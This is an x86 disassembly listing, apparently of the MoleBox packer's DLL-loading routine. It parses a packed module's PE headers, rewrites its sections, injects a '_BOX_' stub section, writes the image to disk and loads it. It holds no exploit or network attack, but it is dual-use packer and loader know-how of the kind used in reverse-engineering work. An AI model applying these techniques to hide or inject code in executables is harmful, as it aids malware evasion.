; FUNCTION CHUNK AT 00507132 SIZE 0000000F BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E4C0
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 130h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_12C], edx
mov [ebp+var_128], ecx
or [ebp+var_3C], 0FFFFFFFFh
or [ebp+var_38], 0FFFFFFFFh
or [ebp+var_58], 0FFFFFFFFh
and [ebp+var_34], 0
and [ebp+var_30], 0
and [ebp+var_1C], 0
and [ebp+var_2C], 0
and [ebp+var_54], 0
and [ebp+var_4C], 0
and [ebp+var_50], 0
and [ebp+var_40], 0
and [ebp+var_28], 0
and [ebp+var_24], 0
and [ebp+var_5C], 0
and [ebp+var_20], 0
push offset dword_511930
call ds:dword_5116C4 ; RtlEnterCriticalSection
and [ebp+var_48], 0
mov eax, ds:dword_511964
mov [ebp+var_44], eax
and [ebp+var_4], 0
push [ebp+var_128]
call ds:dword_511718 ; GetModuleHandleA
test eax, eax
jz short loc_5062A9
push [ebp+var_128]
call ds:dword_51175C ; LoadLibraryA
push 0FFFFFFFFh
mov [ebp+var_130], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_130]
jmp loc_507132
; ---------------------------------------------------------------------------
loc_5062A9: ; CODE XREF: sub_5061E1+9Cj
push [ebp+var_12C]
lea eax, [ebp+var_24]
push eax
push [ebp+var_128]
call sub_50581E
add esp, 0Ch
mov [ebp+var_6C], eax
cmp ds:dword_511964, 0
jz short loc_50632D
cmp [ebp+var_6C], 0
jz short loc_50632D
mov eax, ds:dword_511964
mov [ebp+var_74], eax
jmp short loc_5062F1
; ---------------------------------------------------------------------------
loc_5062DD: ; CODE XREF: sub_5061E1:loc_50632Bj
mov eax, [ebp+var_74]
mov eax, [eax+4]
mov [ebp+var_74], eax
mov eax, ds:dword_511968
inc eax
mov ds:dword_511968, eax
loc_5062F1: ; CODE XREF: sub_5061E1+FAj
cmp [ebp+var_74], 0
jz short loc_50632D
mov eax, [ebp+var_74]
mov eax, [eax]
cmp eax, [ebp+var_6C]
jnz short loc_50632B
mov eax, ds:dword_511968
inc eax
mov ds:dword_511968, eax
push 0FFFFFFFFh
and [ebp+var_134], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_134]
jmp loc_507132
; ---------------------------------------------------------------------------
loc_50632B: ; CODE XREF: sub_5061E1+11Ej
jmp short loc_5062DD
; ---------------------------------------------------------------------------
loc_50632D: ; CODE XREF: sub_5061E1+EAj
; sub_5061E1+F0j ...
and ds:dword_511968, 0
mov eax, [ebp+var_6C]
mov [ebp+var_48], eax
lea eax, [ebp+var_48]
mov ds:dword_511964, eax
cmp [ebp+var_6C], 0
jnz loc_5063CE
mov eax, [ebp+var_128]
mov [ebp+var_78], eax
push [ebp+var_12C]
push 0
push [ebp+var_78]
call ds:dword_511758 ; LoadLibraryExA
mov [ebp+var_7C], eax
cmp [ebp+var_7C], 0
jz short loc_50638E
mov eax, [ebp+var_12C]
and eax, 2
test eax, eax
jnz short loc_5063AD
push [ebp+var_128]
push [ebp+var_7C]
call sub_505070
test eax, eax
jnz short loc_5063AD
loc_50638E: ; CODE XREF: sub_5061E1+18Cj
call ds:dword_511710 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_5063A0
push 7Eh
call ds:dword_51178C ; RtlRestoreLastWin32Error
loc_5063A0: ; CODE XREF: sub_5061E1+1B5j
push [ebp+var_7C]
call ds:dword_5116E0 ; FreeLibrary
and [ebp+var_7C], 0
loc_5063AD: ; CODE XREF: sub_5061E1+199j
; sub_5061E1+1ABj
push 0FFFFFFFFh
mov eax, [ebp+var_7C]
mov [ebp+var_138], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_138]
jmp loc_507132
; ---------------------------------------------------------------------------
loc_5063CE: ; CODE XREF: sub_5061E1+165j
push 0
push 0
push [ebp+var_6C]
call sub_508892
add esp, 0Ch
mov [ebp+var_28], eax
push [ebp+var_28]
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_80], eax
cmp [ebp+var_80], 0
jz short loc_506413
push 0FFFFFFFFh
mov eax, [ebp+var_80]
mov [ebp+var_13C], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_13C]
jmp loc_507132
; ---------------------------------------------------------------------------
loc_506413: ; CODE XREF: sub_5061E1+20Fj
mov eax, [ebp+var_24]
mov [ebp+var_84], eax
jmp short loc_50642B
; ---------------------------------------------------------------------------
loc_50641E: ; CODE XREF: sub_5061E1:loc_50644Fj
mov eax, [ebp+var_84]
inc eax
mov [ebp+var_84], eax
loc_50642B: ; CODE XREF: sub_5061E1+23Bj
mov eax, [ebp+var_84]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_506451
mov eax, [ebp+var_84]
movsx eax, byte ptr [eax]
cmp eax, 2Fh
jnz short loc_50644F
mov eax, [ebp+var_84]
mov byte ptr [eax], 5Ch
loc_50644F: ; CODE XREF: sub_5061E1+263j
jmp short loc_50641E
; ---------------------------------------------------------------------------
loc_506451: ; CODE XREF: sub_5061E1+255j
push 0
lea eax, [ebp+var_3C]
push eax
push 0
push 0
push [ebp+var_24]
call sub_500346
test eax, eax
jnz short loc_506477
cmp [ebp+var_3C], 0
jnz short loc_506477
mov ecx, 0EF00000Fh
call sub_508342
loc_506477: ; CODE XREF: sub_5061E1+284j
; sub_5061E1+28Aj
lea eax, [ebp+var_60]
push eax
push [ebp+var_3C]
call sub_500672
push 40h
call sub_50835A
pop ecx
mov [ebp+var_F4], eax
mov eax, [ebp+var_F4]
mov [ebp+var_50], eax
lea eax, [ebp+var_64]
push eax
push 0
push 0
push 40h
push [ebp+var_50]
push [ebp+var_3C]
call sub_501177
test eax, eax
jz short loc_5064B9
cmp [ebp+var_64], 0
jnz short loc_5064C3
loc_5064B9: ; CODE XREF: sub_5061E1+2D0j
mov ecx, 0EF00000Fh
call sub_508342
loc_5064C3: ; CODE XREF: sub_5061E1+2D6j
push 0
push 0
mov eax, [ebp+var_50]
push dword ptr [eax+3Ch]
push [ebp+var_3C]
call sub_500421
push 0F8h
call sub_50835A
pop ecx
mov [ebp+var_F8], eax
mov eax, [ebp+var_F8]
mov [ebp+var_4C], eax
lea eax, [ebp+var_64]
push eax
push 0
push 0
push 0F8h
push [ebp+var_4C]
push [ebp+var_3C]
call sub_501177
test eax, eax
jz short loc_506511
cmp [ebp+var_64], 0
jnz short loc_50651B
loc_506511: ; CODE XREF: sub_5061E1+328j
mov ecx, 0EF00000Fh
call sub_508342
loc_50651B: ; CODE XREF: sub_5061E1+32Ej
mov eax, [ebp+var_4C]
cmp dword ptr [eax], 4550h
jz short loc_506530
mov ecx, 0EF00000Ch
call sub_508342
loc_506530: ; CODE XREF: sub_5061E1+343j
mov eax, [ebp+var_4C]
movzx eax, word ptr [eax+14h]
mov ecx, [ebp+var_4C]
lea eax, [ecx+eax+18h]
sub eax, [ebp+var_4C]
mov ecx, [ebp+var_50]
mov ecx, [ecx+3Ch]
add ecx, eax
mov [ebp+var_70], ecx
mov eax, [ebp+var_4C]
movzx eax, word ptr [eax+6]
imul eax, 28h
mov ecx, [ebp+var_70]
add ecx, eax
mov [ebp+var_68], ecx
mov [ebp+var_34], 600h
push [ebp+var_34]
call sub_50835A
pop ecx
mov [ebp+var_FC], eax
mov eax, [ebp+var_FC]
mov [ebp+var_1C], eax
mov ecx, [ebp+var_34]
xor eax, eax
mov edi, [ebp+var_1C]
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
push 200h
call sub_50835A
pop ecx
mov [ebp+var_100], eax
mov eax, [ebp+var_100]
mov [ebp+var_54], eax
mov ecx, 80h
mov eax, 90909090h
mov edi, [ebp+var_54]
rep stosd
push 0
push 0
push 0
push [ebp+var_3C]
call sub_500421
lea eax, [ebp+var_64]
push eax
push 0
push 0
push [ebp+var_68]
push [ebp+var_1C]
push [ebp+var_3C]
call sub_501177
test eax, eax
jz short loc_5065EA
cmp [ebp+var_64], 0
jnz short loc_5065F4
loc_5065EA: ; CODE XREF: sub_5061E1+401j
mov ecx, 0EF00000Fh
call sub_508342
loc_5065F4: ; CODE XREF: sub_5061E1+407j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
add ecx, [eax+3Ch]
mov [ebp+var_A0], ecx
mov eax, [ebp+var_A0]
movzx eax, word ptr [eax+14h]
mov ecx, [ebp+var_A0]
lea eax, [ecx+eax+18h]
mov [ebp+var_90], eax
mov eax, [ebp+var_A0]
movzx eax, word ptr [eax+6]
imul eax, 28h
mov ecx, [ebp+var_90]
add ecx, eax
mov [ebp+var_8C], ecx
mov eax, [ebp+var_A0]
add eax, 88h
mov [ebp+var_98], eax
mov eax, [ebp+var_A0]
add eax, 80h
mov [ebp+var_88], eax
mov eax, [ebp+var_A0]
and dword ptr [eax+24h], 0
mov eax, [ebp+var_A0]
and dword ptr [eax+20h], 0
mov eax, [ebp+var_A0]
and dword ptr [eax+1Ch], 0
mov eax, [ebp+var_54]
mov ecx, [ebp+var_A0]
mov ecx, [ecx+0A0h]
mov [eax+34h], ecx
mov eax, [ebp+var_54]
mov ecx, [ebp+var_A0]
mov ecx, [ecx+0A4h]
mov [eax+38h], ecx
mov eax, [ebp+var_A0]
cmp dword ptr [eax+84h], 0
jz short loc_5066BF
mov eax, [ebp+var_54]
mov ecx, [ebp+var_A0]
mov ecx, [ecx+80h]
mov [eax+3Ch], ecx
jmp short loc_5066C6
; ---------------------------------------------------------------------------
loc_5066BF: ; CODE XREF: sub_5061E1+4C8j
mov eax, [ebp+var_54]
and dword ptr [eax+3Ch], 0
loc_5066C6: ; CODE XREF: sub_5061E1+4DCj
mov eax, [ebp+var_54]
add eax, 40h
mov [ebp+var_94], eax
mov eax, [ebp+var_94]
and dword ptr [eax], 0
mov eax, [ebp+var_54]
add eax, 44h
mov [ebp+var_9C], eax
jmp short loc_5066F8
; ---------------------------------------------------------------------------
loc_5066E9: ; CODE XREF: sub_5061E1:loc_506C30j
mov eax, [ebp+var_90]
add eax, 28h
mov [ebp+var_90], eax
loc_5066F8: ; CODE XREF: sub_5061E1+506j
mov eax, [ebp+var_90]
cmp eax, [ebp+var_8C]
jnb loc_506C35
mov eax, [ebp+var_9C]
mov ecx, [ebp+var_90]
mov ecx, [ecx+14h]
mov [eax], ecx
mov eax, [ebp+var_9C]
add eax, 4
mov [ebp+var_9C], eax
mov eax, [ebp+var_9C]
mov ecx, [ebp+var_90]
mov ecx, [ecx+10h]
mov [eax], ecx
mov eax, [ebp+var_9C]
add eax, 4
mov [ebp+var_9C], eax
mov eax, [ebp+var_9C]
mov ecx, [ebp+var_90]
mov ecx, [ecx+24h]
mov [eax], ecx
mov eax, [ebp+var_9C]
add eax, 4
mov [ebp+var_9C], eax
cmp ds:dword_511680, 2
jnb loc_50686E
mov eax, [ebp+var_90]
mov ecx, [ebp+var_98]
mov eax, [eax+0Ch]
cmp eax, [ecx]
ja loc_50686E
mov eax, [ebp+var_90]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_90]
add eax, [ecx+10h]
mov ecx, [ebp+var_98]
cmp eax, [ecx]
jbe loc_50686E
push 200h
mov eax, [ebp+var_90]
push dword ptr [eax+10h]
call sub_505AE5
pop ecx
pop ecx
mov [ebp+var_30], eax
push [ebp+var_30]
call sub_50835A
pop ecx
mov [ebp+var_104], eax
mov eax, [ebp+var_104]
mov [ebp+var_2C], eax
mov eax, [ebp+var_A0]
push dword ptr [eax+38h]
mov eax, [ebp+var_90]
push dword ptr [eax+8]
call sub_505AE5
pop ecx
pop ecx
mov ecx, [ebp+var_A0]
mov ecx, [ecx+20h]
add ecx, eax
mov eax, [ebp+var_A0]
mov [eax+20h], ecx
push 0
push 0
mov eax, [ebp+var_90]
push dword ptr [eax+14h]
push [ebp+var_3C]
call sub_500421
lea eax, [ebp+var_64]
push eax
push 0
push 0
mov eax, [ebp+var_90]
push dword ptr [eax+10h]
push [ebp+var_2C]
push [ebp+var_3C]
call sub_501177
test eax, eax
jz short loc_506846
cmp [ebp+var_64], 0
jnz short loc_506850
loc_506846: ; CODE XREF: sub_5061E1+65Dj
mov ecx, 0EF00000Fh
call sub_508342
loc_506850: ; CODE XREF: sub_5061E1+663j
mov eax, [ebp+var_90]
mov ecx, [ebp+var_34]
mov [eax+14h], ecx
mov eax, [ebp+var_90]
mov dword ptr [eax+24h], 0C0000040h
jmp loc_506C30
; ---------------------------------------------------------------------------
loc_50686E: ; CODE XREF: sub_5061E1+590j
; sub_5061E1+5A7j ...
mov eax, [ebp+var_90]
mov ecx, [ebp+var_88]
mov eax, [eax+0Ch]
cmp eax, [ecx]
ja loc_506B8F
mov eax, [ebp+var_90]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_90]
add eax, [ecx+10h]
mov ecx, [ebp+var_88]
cmp eax, [ecx]
jbe loc_506B8F
and [ebp+var_A8], 0
mov [ebp+var_4], 1
push 4
push 1000h
mov eax, [ebp+var_90]
push dword ptr [eax+10h]
push 0
call ds:dword_5117A4 ; VirtualAlloc
mov [ebp+var_A8], eax
push 0
push 0
mov eax, [ebp+var_90]
push dword ptr [eax+14h]
push [ebp+var_3C]
call sub_500421
lea eax, [ebp+var_64]
push eax
push 0
push 0
mov eax, [ebp+var_90]
push dword ptr [eax+10h]
push [ebp+var_A8]
push [ebp+var_3C]
call sub_501177
test eax, eax
jz short loc_50690F
cmp [ebp+var_64], 0
jnz short loc_506919
loc_50690F: ; CODE XREF: sub_5061E1+726j
mov ecx, 0EF00000Fh
call sub_508342
loc_506919: ; CODE XREF: sub_5061E1+72Cj
mov eax, [ebp+var_90]
mov eax, [eax+0Ch]
mov [ebp+var_B0], eax
mov eax, [ebp+var_88]
mov eax, [eax]
sub eax, [ebp+var_B0]
mov ecx, [ebp+var_A8]
add ecx, eax
mov [ebp+var_AC], ecx
and [ebp+var_B4], 0
jmp short loc_50695A
; ---------------------------------------------------------------------------
loc_50694D: ; CODE XREF: sub_5061E1:loc_506B5Aj
mov eax, [ebp+var_B4]
inc eax
mov [ebp+var_B4], eax
loc_50695A: ; CODE XREF: sub_5061E1+76Aj
mov eax, [ebp+var_88]
mov eax, [eax+4]
xor edx, edx
push 14h
pop ecx
div ecx
cmp [ebp+var_B4], eax
jnb loc_506B5F
mov eax, [ebp+var_B4]
imul eax, 14h
mov ecx, [ebp+var_AC]
cmp dword ptr [ecx+eax+0Ch], 0
jnz short loc_506991
jmp loc_506B5F
; ---------------------------------------------------------------------------
loc_506991: ; CODE XREF: sub_5061E1+7A9j
mov eax, [ebp+var_B4]
imul eax, 14h
mov ecx, [ebp+var_AC]
mov edx, [ebp+var_A8]
add edx, [ecx+eax+0Ch]
sub edx, [ebp+var_B0]
mov [ebp+var_BC], edx
mov eax, [ebp+var_90]
mov ecx, [ebp+var_A8]
add ecx, [eax+10h]
cmp [ebp+var_BC], ecx
jbe short loc_5069D2
jmp loc_506B5F
; ---------------------------------------------------------------------------
loc_5069D2: ; CODE XREF: sub_5061E1+7EAj
mov eax, [ebp+var_BC]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_5069E4
jmp loc_506B5F
; ---------------------------------------------------------------------------
loc_5069E4: ; CODE XREF: sub_5061E1+7FCj
and ds:dword_511968, 0
and [ebp+var_B8], 0
push [ebp+var_BC]
call sub_50AE83
mov [ebp+var_B8], eax
cmp [ebp+var_B8], 0
jnz loc_506B27
cmp ds:dword_511968, 0
jz short loc_506A1E
jmp loc_506B29
; ---------------------------------------------------------------------------
loc_506A1E: ; CODE XREF: sub_5061E1+836j
mov edi, [ebp+var_BC]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
push [ebp+var_24]
call sub_5092CA
pop ecx
pop ecx
mov [ebp+var_C0], eax
mov [ebp+var_4], 2
push 5Ch
push [ebp+var_C0]
call sub_4FC700
pop ecx
pop ecx
mov [ebp+var_C4], eax
cmp [ebp+var_C4], 0
jz short loc_506A72
mov eax, [ebp+var_C4]
inc eax
mov [ebp+var_C4], eax
jmp short loc_506A7E
; ---------------------------------------------------------------------------
loc_506A72: ; CODE XREF: sub_5061E1+880j
mov eax, [ebp+var_C0]
mov [ebp+var_C4], eax
loc_506A7E: ; CODE XREF: sub_5061E1+88Fj
mov edi, [ebp+var_BC]
mov edx, [ebp+var_C4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push [ebp+var_C0]
call sub_50AE83
mov [ebp+var_B8], eax
cmp [ebp+var_B8], 0
jnz short loc_506B00
cmp ds:dword_511968, 0
jz short loc_506AD9
push 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
jmp short loc_506B29
; ---------------------------------------------------------------------------
loc_506AD9: ; CODE XREF: sub_5061E1+8E7j
push 7Eh
call ds:dword_51178C ; RtlRestoreLastWin32Error
push 0FFFFFFFFh
and [ebp+var_140], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_140]
jmp loc_507132
; ---------------------------------------------------------------------------
loc_506B00: ; CODE XREF: sub_5061E1+8DEj
mov [ebp+var_4], 1
call sub_506B0E
jmp short loc_506B27
sub_5061E1 endp
; =============== S U B R O U T I N E =======================================
sub_506B0E proc near ; CODE XREF: sub_5061E1+926p
; DATA XREF: _6:0050E4E0o
mov eax, [ebp-0C0h]
mov [ebp-108h], eax
push dword ptr [ebp-108h]
call sub_5083DD
pop ecx
retn
sub_506B0E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5061E1
loc_506B27: ; CODE XREF: sub_5061E1+829j
; sub_5061E1+92Bj
jmp short loc_506B2D
; ---------------------------------------------------------------------------
loc_506B29: ; CODE XREF: sub_5061E1+838j
; sub_5061E1+8F6j
mov [ebp+var_5C], 1
loc_506B2D: ; CODE XREF: sub_5061E1:loc_506B27j
cmp [ebp+var_B8], 0
jz short loc_506B5A
mov eax, [ebp+var_94]
push dword ptr [eax]
push [ebp+var_B8]
push [ebp+var_BC]
call sub_5056EB
add esp, 0Ch
mov ecx, [ebp+var_94]
mov [ecx], eax
loc_506B5A: ; CODE XREF: sub_5061E1+953j
jmp loc_50694D
; ---------------------------------------------------------------------------
loc_506B5F: ; CODE XREF: sub_5061E1+78Fj
; sub_5061E1+7ABj ...
push 8000h
push 0
push [ebp+var_A8]
call ds:dword_5117A8 ; VirtualFree
and [ebp+var_A8], 0
and [ebp+var_4], 0
jmp short loc_506B8F
; END OF FUNCTION CHUNK FOR sub_5061E1
; =============== S U B R O U T I N E =======================================
sub_506B7F proc near ; DATA XREF: _6:0050E4D0o
push dword ptr [ebp-14h]
call sub_508C27
retn
sub_506B7F endp
; =============== S U B R O U T I N E =======================================
sub_506B88 proc near ; DATA XREF: _6:0050E4D4o
mov esp, [ebp-18h]
and dword ptr [ebp-4], 0
sub_506B88 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_5061E1
loc_506B8F: ; CODE XREF: sub_5061E1+69Ej
; sub_5061E1+6BEj ...
mov eax, [ebp+var_90]
mov ecx, [ebp+var_90]
mov eax, [eax+8]
cmp eax, [ecx+10h]
jbe short loc_506BB4
mov eax, [ebp+var_90]
mov eax, [eax+8]
mov [ebp+var_144], eax
jmp short loc_506BC3
; ---------------------------------------------------------------------------
loc_506BB4: ; CODE XREF: sub_5061E1+9C0j
mov eax, [ebp+var_90]
mov eax, [eax+10h]
mov [ebp+var_144], eax
loc_506BC3: ; CODE XREF: sub_5061E1+9D1j
mov eax, [ebp+var_A0]
push dword ptr [eax+38h]
push [ebp+var_144]
call sub_505AE5
pop ecx
pop ecx
mov ecx, [ebp+var_90]
mov [ecx+8], eax
mov eax, [ebp+var_A0]
push dword ptr [eax+38h]
mov eax, [ebp+var_90]
push dword ptr [eax+8]
call sub_505AE5
pop ecx
pop ecx
mov ecx, [ebp+var_A0]
mov ecx, [ecx+24h]
add ecx, eax
mov eax, [ebp+var_A0]
mov [eax+24h], ecx
mov eax, [ebp+var_90]
and dword ptr [eax+10h], 0
mov eax, [ebp+var_90]
and dword ptr [eax+14h], 0
mov eax, [ebp+var_90]
mov dword ptr [eax+24h], 0E0000080h
loc_506C30: ; CODE XREF: sub_5061E1+688j
jmp loc_5066E9
; ---------------------------------------------------------------------------
loc_506C35: ; CODE XREF: sub_5061E1+523j
and [ebp+var_A4], 0
jmp short loc_506C4B
; ---------------------------------------------------------------------------
loc_506C3E: ; CODE XREF: sub_5061E1+A7Cj
; sub_5061E1+A87j ...
mov eax, [ebp+var_A4]
inc eax
mov [ebp+var_A4], eax
loc_506C4B: ; CODE XREF: sub_5061E1+A5Bj
cmp [ebp+var_A4], 10h
jnb short loc_506C8E
cmp [ebp+var_A4], 0
jnz short loc_506C5F
jmp short loc_506C3E
; ---------------------------------------------------------------------------
loc_506C5F: ; CODE XREF: sub_5061E1+A7Aj
cmp [ebp+var_A4], 2
jnz short loc_506C6A
jmp short loc_506C3E
; ---------------------------------------------------------------------------
loc_506C6A: ; CODE XREF: sub_5061E1+A85j
mov eax, [ebp+var_A4]
mov ecx, [ebp+var_A0]
and dword ptr [ecx+eax*8+7Ch], 0
mov eax, [ebp+var_A4]
mov ecx, [ebp+var_A0]
and dword ptr [ecx+eax*8+78h], 0
jmp short loc_506C3E
; ---------------------------------------------------------------------------
loc_506C8E: ; CODE XREF: sub_5061E1+A71j
push 0Ah
pop ecx
xor eax, eax
mov edi, [ebp+var_90]
rep stosd
mov eax, [ebp+var_34]
add eax, [ebp+var_30]
mov ecx, [ebp+var_90]
mov [ecx+14h], eax
mov eax, [ebp+var_90]
mov ecx, [ebp+var_A0]
mov ecx, [ecx+50h]
mov [eax+0Ch], ecx
mov esi, offset a_box_ ; "_BOX_"
mov edi, [ebp+var_90]
movsd
movsw
mov eax, [ebp+var_90]
mov ecx, [ebp+var_A0]
mov ecx, [ecx+38h]
mov [eax+8], ecx
mov eax, [ebp+var_90]
mov dword ptr [eax+10h], 200h
mov eax, [ebp+var_90]
mov dword ptr [eax+24h], 0E0000020h
mov eax, [ebp+var_A0]
mov dword ptr [eax+3Ch], 200h
mov eax, [ebp+var_A0]
mov eax, [eax+50h]
mov ecx, [ebp+var_A0]
add eax, [ecx+38h]
mov ecx, [ebp+var_A0]
mov [ecx+50h], eax
mov eax, [ebp+var_A0]
mov eax, [eax+1Ch]
mov ecx, [ebp+var_A0]
add eax, [ecx+3Ch]
mov ecx, [ebp+var_A0]
mov [ecx+1Ch], eax
mov eax, [ebp+var_A0]
mov eax, [eax+28h]
mov [ebp+var_20], eax
push 5
pop ecx
mov esi, offset loc_510C70
mov edi, [ebp+var_54]
rep movsd
movsw
movsb
mov eax, [ebp+var_54]
inc eax
mov [ebp+var_C8], eax
mov eax, [ebp+var_C8]
mov ecx, [ebp+var_A0]
mov ecx, [ecx+28h]
mov [eax+1], ecx
call sub_5058A0
mov ecx, [ebp+var_C8]
mov ecx, [ecx+1]
xor ecx, eax
mov eax, [ebp+var_C8]
mov [eax+1], ecx
mov eax, [ebp+var_C8]
add eax, 5
mov [ebp+var_C8], eax
mov eax, [ebp+var_C8]
mov ecx, [ebp+var_24]
mov [eax+1], ecx
mov eax, [ebp+var_C8]
add eax, 5
mov [ebp+var_C8], eax
mov eax, [ebp+var_C8]
mov ecx, [ebp+var_3C]
mov [eax+1], ecx
mov eax, [ebp+var_C8]
add eax, 5
mov [ebp+var_C8], eax
mov eax, [ebp+var_C8]
inc eax
mov [ebp+var_C8], eax
mov eax, [ebp+var_C8]
mov dword ptr [eax+1], offset sub_505BD7
and [ebp+var_C8], 0
xor eax, eax
mov edi, [ebp+var_54]
add edi, 20h
stosd
stosd
stosd
mov eax, [ebp+var_54]
mov dword ptr [eax+24h], 8
mov eax, [ebp+var_A0]
mov dword ptr [eax+0A4h], 8
mov eax, [ebp+var_90]
mov eax, [eax+0Ch]
add eax, 20h
mov ecx, [ebp+var_A0]
mov [ecx+0A0h], eax
mov eax, [ebp+var_A0]
mov ecx, [ebp+var_90]
mov ecx, [ecx+0Ch]
mov [eax+28h], ecx
mov eax, [ebp+var_A0]
mov ax, [eax+6]
add ax, 1
mov ecx, [ebp+var_A0]
mov [ecx+6], ax
mov eax, [ebp+var_A0]
and dword ptr [eax+58h], 0
push 0
push 0
push 2
push 0
push 0
push 40000000h
push [ebp+var_28]
call ds:dword_5116A8 ; CreateFileA
mov [ebp+var_58], eax
cmp [ebp+var_58], 0FFFFFFFFh
jnz short loc_506E8C
mov ecx, 0EF000011h
call sub_508342
loc_506E8C: ; CODE XREF: sub_5061E1+C9Fj
push 0
lea eax, [ebp+var_CC]
push eax
push [ebp+var_34]
push [ebp+var_1C]
push [ebp+var_58]
call ds:dword_5117BC ; WriteFile
cmp [ebp+var_2C], 0
jz short loc_506EC2
push 0
lea eax, [ebp+var_CC]
push eax
push [ebp+var_30]
push [ebp+var_2C]
push [ebp+var_58]
call ds:dword_5117BC ; WriteFile
loc_506EC2: ; CODE XREF: sub_5061E1+CC7j
push 0
lea eax, [ebp+var_CC]
push eax
push 200h
push [ebp+var_54]
push [ebp+var_58]
call ds:dword_5117BC ; WriteFile
push [ebp+var_58]
call ds:dword_5116D8 ; FlushFileBuffers
push [ebp+var_58]
call ds:dword_5116A4 ; CloseHandle
mov ds:dword_511958, 1
push [ebp+var_28]
call ds:dword_51175C ; LoadLibraryA
mov [ebp+var_D0], eax
cmp [ebp+var_D0], 0
jnz short loc_506F2B
push 351h
push offset aDProjectsMy_sr ; "D:\\Projects\\My.SRC\\MoleStudio\\MoleBox\\m"...
call sub_5087CA
pop ecx
pop ecx
mov ecx, 0EF000010h
call sub_508342
loc_506F2B: ; CODE XREF: sub_5061E1+D2Dj
movzx eax, [ebp+var_5C]
test eax, eax
jz loc_50705C
mov eax, [ebp+var_D0]
mov [ebp+var_DC], eax
mov eax, [ebp+var_DC]
mov ecx, [ebp+var_DC]
add ecx, [eax+3Ch]
mov [ebp+var_EC], ecx
mov eax, [ebp+var_EC]
movzx eax, word ptr [eax+14h]
mov ecx, [ebp+var_EC]
lea eax, [ecx+eax+18h]
mov [ebp+var_E8], eax
mov eax, [ebp+var_EC]
movzx eax, word ptr [eax+6]
imul eax, 28h
mov ecx, [ebp+var_E8]
lea eax, [ecx+eax-28h]
mov [ebp+var_E0], eax
mov eax, [ebp+var_E0]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_DC]
mov eax, [ecx+eax+3Ch]
mov [ebp+var_E4], eax
mov eax, [ebp+var_DC]
add eax, [ebp+var_E4]
mov [ebp+var_D8], eax
push 5Ch
push [ebp+var_24]
call sub_4FC700
pop ecx
pop ecx
mov [ebp+var_D4], eax
cmp [ebp+var_D4], 0
jnz short loc_506FE0
mov eax, [ebp+var_24]
mov [ebp+var_D4], eax
jmp short loc_506FED
; ---------------------------------------------------------------------------
loc_506FE0: ; CODE XREF: sub_5061E1+DF2j
mov eax, [ebp+var_D4]
inc eax
mov [ebp+var_D4], eax
loc_506FED: ; CODE XREF: sub_5061E1+DFDj
push 14h
call sub_50835A
pop ecx
mov [ebp+var_10C], eax
mov eax, [ebp+var_10C]
mov [ebp+var_F0], eax
mov eax, [ebp+var_F0]
mov ecx, [ebp+var_D4]
mov [eax], ecx
mov eax, [ebp+var_F0]
mov ecx, ds:dword_51196C
mov [eax+10h], ecx
mov eax, [ebp+var_F0]
mov ecx, [ebp+var_EC]
mov [eax+0Ch], ecx
mov eax, [ebp+var_F0]
mov ecx, [ebp+var_D8]
mov [eax+4], ecx
mov eax, [ebp+var_F0]
mov ecx, [ebp+var_DC]
mov [eax+8], ecx
mov eax, [ebp+var_F0]
mov ds:dword_51196C, eax
loc_50705C: ; CODE XREF: sub_5061E1+D50j
call sub_50614D
push 0FFFFFFFFh
mov eax, [ebp+var_D0]
mov [ebp+var_148], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_148]
jmp loc_507132
; END OF FUNCTION CHUNK FOR sub_5061E1
; =============== S U B R O U T I N E =======================================
sub_507085 proc near ; DATA XREF: _6:0050E4C8o
cmp ds:dword_511964, 0
jz short loc_507096
mov eax, [ebp-44h]
mov ds:dword_511964, eax
loc_507096: ; CODE XREF: sub_507085+7j
cmp dword ptr [ebp-3Ch], 0FFFFFFFFh
jz short loc_5070A6
push 0
push dword ptr [ebp-3Ch]
call sub_500741
loc_5070A6: ; CODE XREF: sub_507085+15j
mov eax, [ebp-50h]
mov [ebp-110h], eax
push dword ptr [ebp-110h]
call sub_5083DD
pop ecx
mov eax, [ebp-4Ch]
mov [ebp-114h], eax
push dword ptr [ebp-114h]
call sub_5083DD
pop ecx
mov eax, [ebp-1Ch]
mov [ebp-118h], eax
push dword ptr [ebp-118h]
call sub_5083DD
pop ecx
mov eax, [ebp-2Ch]
mov [ebp-11Ch], eax
push dword ptr [ebp-11Ch]
call sub_5083DD
pop ecx
mov eax, [ebp-54h]
mov [ebp-120h], eax
push dword ptr [ebp-120h]
call sub_5083DD
pop ecx
mov eax, [ebp-28h]
mov [ebp-124h], eax
push dword ptr [ebp-124h]
call sub_5083DD
pop ecx
push offset dword_511930
call ds:dword_511754 ; RtlLeaveCriticalSection
retn
sub_507085 endp
; ---------------------------------------------------------------------------
xor eax, eax
; START OF FUNCTION CHUNK FOR sub_5061E1
